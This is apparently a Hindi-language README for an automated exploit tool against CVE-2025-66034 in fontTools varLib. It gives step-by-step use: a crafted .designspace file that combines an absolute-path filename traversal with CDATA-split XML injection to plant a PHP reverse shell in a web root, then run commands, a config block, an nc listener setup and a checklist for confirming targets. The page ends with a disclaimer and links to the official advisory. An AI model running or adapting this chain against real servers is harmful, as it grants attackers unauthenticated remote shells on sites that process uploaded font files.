
CVE-2025-66034 के लिए स्वचालित शोषण, fontTools varLib में पथ ट्रैवर्सल और XML इंजेक्शन को श्रृंखलित करके, क्राफ्टेड .designspace फ़ाइल अपलोड के माध्यम से अप्रमाणित रिमोट कोड निष्पादन प्राप्त करना।
fontTools varLib — मनमानी फ़ाइल लेखन + XML इंजेक्शन → रिमोट कोड निष्पादन
CVE-2025-66034 fontTools.varLib वेरिएबल फ़ॉन्ट जनरेशन पाइपलाइन में एक भेद्यता है। जब कोई वेब एप्लिकेशन इस पाइपलाइन को उजागर करता है और उपयोगकर्ता द्वारा प्रदान की गई .designspace फ़ाइलों को स्वीकार करता है, तो दो कमज़ोरियाँ मिलकर अप्रमाणित रिमोट कोड निष्पादन प्राप्त करती हैं।
font_varlib.py संपूर्ण शोषण श्रृंखला को स्वचालित करता है — फ़ॉन्ट जनरेशन, पेलोड निर्माण, अपलोड और रिवर्स शेल वितरण।
हमलावर दुर्भावनापूर्ण .designspace बनाता है
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── पथ ट्रैवर्सल
│ os.path.join(output_dir, absolute_path)
│ → output_dir त्याग दिया गया → वेब रूट पर लिखें
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML इंजेक्शन
CDATA विभाजन कच्चे PHP को
आउटपुट फ़ॉन्ट बाइनरी में एम्बेड करता है
│
▼
fontTools.varLib.main() सर्वर-साइड फ़ाइल को संसाधित करता है
│
▼
shell.php वेब-सुलभ निर्देशिका में लिखा जाता है
│
▼
GET /files/shell.php → PHP निष्पादित होता है → रिवर्स शेल कॉलबैक
│
▼
www-data के रूप में RCE
Python: 3.9+
निर्भरताएँ:
pip install fonttools requests
सिस्टम:
nc (netcat) — स्वचालित लिसनर मोड के लिए आवश्यक (--no-listen इसे छोड़ देता है)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
चलाने से पहले, font_varlib.py खोलें और फ़ाइल के शीर्ष पर कॉन्फ़िग ब्लॉक को अपने लक्ष्य से मेल खाने के लिए अपडेट करें। प्रत्येक मान में एक इनलाइन टिप्पणी है जो बताती है कि यह क्या है और सही मान कैसे खोजें।
# ══════════════════════════════════════════════════════════════════════════════
# डिफ़ॉल्ट
# चलाने से पहले इन्हें अपने लक्ष्य से मिलाने के लिए बदलें।
# सभी मानों को CLI फ़्लैग के ज़रिए रनटाइम पर भी ओवरराइड किया जा सकता है — देखें --help।
# ══════════════════════════════════════════════════════════════════════════════
# अपलोड होस्ट का बेस URL (वह साइट जो .designspace स्वीकार करती है)
UPLOAD_HOST = "http://test.com"
# अपलोड होस्ट पर पथ जो मल्टीपार्ट फ़ॉर्म POST को संसाधित करता है
# Burp से पुष्टि करें — जनरेट बटन पर क्लिक करने के बाद POST देखें
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# सर्वर पर पूर्ण फाइलसिस्टम पथ जहाँ आउटपुट फ़ाइलें लिखी जाती हैं
# वेब-सुलभ होना चाहिए ताकि शेल को HTTP के माध्यम से ट्रिगर किया जा सके
WEBROOT = "/var/www/test.com/public/files"
# लिखी गई शेल फ़ाइल को लाने/ट्रिगर करने के लिए उपयोग किया जाने वाला बेस URL
# डिस्क पर WEBROOT से मैप होता है
SHELL_HOST = "http://testing.test.com/files"
# मल्टीपार्ट फ़ॉर्म फ़ील्ड नाम — चलाने से पहले Burp से पुष्टि करें
# यदि अपलोड चुपचाप विफल होता है (HTTP 200 लेकिन कोई शेल नहीं), तो गलत फ़ील्ड नाम कारण हैं
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# शेल फ़ाइल नाम उपसर्ग — रनटाइम पर यादृच्छिक प्रत्यय जोड़ा जाता है
SHELL_PREFIX = "f0nt_"
# यादृच्छिक प्रत्यय की लंबाई — लंबा = अनुमान लगाना कठिन
SHELL_SUFFIX_LEN = 8
सुझाव: चलाने से पहले Burp Suite में एक वैध अपलोड अनुरोध को इंटरसेप्ट करके
UPLOAD_ENDPOINTऔर सटीक मल्टीपार्ट फ़ील्ड नामों की पुष्टि करें। फ़ील्ड नामों में बेमेल एक मूक विफलता का कारण बनता है — सर्वर HTTP 200 लौटाता है लेकिन कोई शेल नहीं लिखा जाता है।
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# टर्मिनल 1 — अपना लिसनर शुरू करें
nc -lvnp 4444
# टर्मिनल 2 — बिना स्वचालित लिसनर के शोषण चलाएँ
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
दो न्यूनतम लेकिन संरचनात्मक रूप से मान्य .ttf स्रोत फ़ाइलें fontTools.FontBuilder का उपयोग करके प्रोग्रामेटिक रूप से उत्पन्न की जाती हैं। varLib को वेरिएबल फ़ॉन्ट को संसाधित करने के लिए कम से कम दो अक्षीय मास्टर्स की आवश्यकता होती है — ये बिना डिस्क पर वास्तविक फ़ॉन्ट फ़ाइलों की आवश्यकता के उस आवश्यकता को पूरा करते हैं।
एक दुर्भावनापूर्ण .designspace XML फ़ाइल बनाई जाती है जिसमें दोनों आक्रमण प्रिमिटिव एम्बेडेड होते हैं:
प्रिमिटिव 1 — CDATA विभाजन के माध्यम से XML इंजेक्शन:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
अनुक्रम ]]]]><![CDATA[> वर्तमान CDATA ब्लॉक को समाप्त करता है और तुरंत एक नया खोलता है। XML पार्सर इसे मान्य मार्कअप के रूप में संसाधित करता है, लेकिन varLib सामग्री को शब्दशः आउटपुट फ़ाइल में क्रमबद्ध करता है — फ़ॉन्ट बाइनरी में कच्चा PHP एम्बेड करता है।
प्रिमिटिव 2 — filename विशेषता के माध्यम से पथ ट्रैवर्सल:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib आउटपुट पथ इस प्रकार बनाता है:
output_path = os.path.join(output_dir, filename)
जब filename एक पूर्ण पथ है, तो Python का os.path.join() output_dir को पूरी तरह से त्याग देता है। प्रभावित संस्करणों में कोई सैनिटाइज़ेशन लागू नहीं किया जाता है।
.designspace और दोनों .ttf फ़ाइलों को लक्ष्य के फ़ॉन्ट जनरेशन एंडपॉइंट पर Burp से पुष्टि किए गए फ़ील्ड नामों का उपयोग करके मल्टीपार्ट POST के रूप में भेजा जाता है।
लिखी गई .php फ़ाइल के लिए एक HTTP GET रिवर्स शेल को निष्पादित करता है, जो fsockopen + proc_open के माध्यम से हमलावर के nc लिसनर से वापस जुड़ता है — लक्ष्य पर कोई curl, wget या Python की आवश्यकता नहीं है।
fontTools/varLib/__init__.py (प्रभावित संस्करण):
filename = vf.filename # हमलावर-नियंत्रित, असैनिटाइज्ड
output_path = os.path.join(output_dir, filename) # पूर्ण पथ के माध्यम से पथ ट्रैवर्सल
vf.save(output_path) # मनमानी फ़ाइल लेखन
4.60.2 में पैच — output_path बनाने से पहले filename पर os.path.basename() लागू करता है, सभी पथ ट्रैवर्सल अनुक्रमों को हटाता है।
चलाने से पहले, निम्नलिखित सभी की पुष्टि करें:
[ ] लक्ष्य पर fonttools संस्करण >= 4.33.0 और < 4.60.2 है
[ ] लक्ष्य .designspace + .ttf फ़ाइल अपलोड स्वीकार करता है
[ ] बैकएंड अपलोड किए गए .designspace पर fontTools.varLib.main() कॉल करता है
[ ] अपलोड फ़ॉर्म फ़ील्ड नाम Burp से पुष्टि किए गए (designspace + masters)
[ ] WEBROOT बाहर से वेब-सुलभ है
[ ] WEBROOT वेब प्रक्रिया (www-data या समकक्ष) द्वारा लिखने योग्य है
[ ] SHELL_HOST (--shell) आपकी मशीन से पहुँच योग्य है
[ ] लक्ष्य होस्टनाम /etc/hosts में हैं
| वातावरण | fonttools संस्करण | परिणाम |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ पुष्टि |
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
किसी भी ऐसी प्रणाली के विरुद्ध उपयोग न करें जिसके आप स्वामी नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग या इस सॉफ़्टवेयर के कारण होने वाली किसी भी क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
| क्षेत्र | विवरण |
|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| पैकेज | fonttools (pip) |
| प्रभावित श्रेणी | >= 4.33.0, < 4.60.2 |
| सुधारित संस्करण | 4.60.2 |
| गंभीरता | मध्यम (CVSS 6.3) |
| आक्रमण वेक्टर | स्थानीय (लक्ष्य पर फ़ाइल अपलोड की आवश्यकता) |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक (अपलोड ट्रिगर) |
| # | प्रिमिटिव | CWE | मूल कारण |
|---|
| 1 | पथ ट्रैवर्सल | CWE-22 | .designspace में filename विशेषता बिना सैनिटाइज़ेशन के सीधे os.path.join() को दी जाती है — पूर्ण पथ इच्छित आउटपुट निर्देशिका को पूरी तरह से त्याग देते हैं |
| 2 | XML इंजेक्शन | CWE-91 | <labelname> CDATA अनुभाग एक विभाजन अनुक्रम (]]]]><![CDATA[>) की अनुमति देते हैं जो कच्चे PHP को XML पार्सर से बचाकर लिखी गई आउटपुट फ़ाइल में तस्करी करता है |
| तर्क | आवश्यक | डिफ़ॉल्ट | विवरण |
|---|
--ip | ✓ | — | हमलावर लिसनर का IP |
--port | ✓ | — | हमलावर लिसनर का पोर्ट |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | अपलोड एंडपॉइंट (POST) | |
--webroot | WEBROOT | सर्वर-साइड फाइलसिस्टम लेखन पथ (वेब-सुलभ होना चाहिए) | |
--shell | SHELL_HOST | लिखी गई शेल को ट्रिगर करने के लिए बेस URL | |
--no-listen | false | स्वचालित nc लिसनर छोड़ें — केवल ट्रिगर करें |
| संसाधन | लिंक |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| fontTools सुरक्षा सलाह | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| पैच कमिट — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| fontTools प्रोजेक्ट | https://github.com/fonttools/fonttools |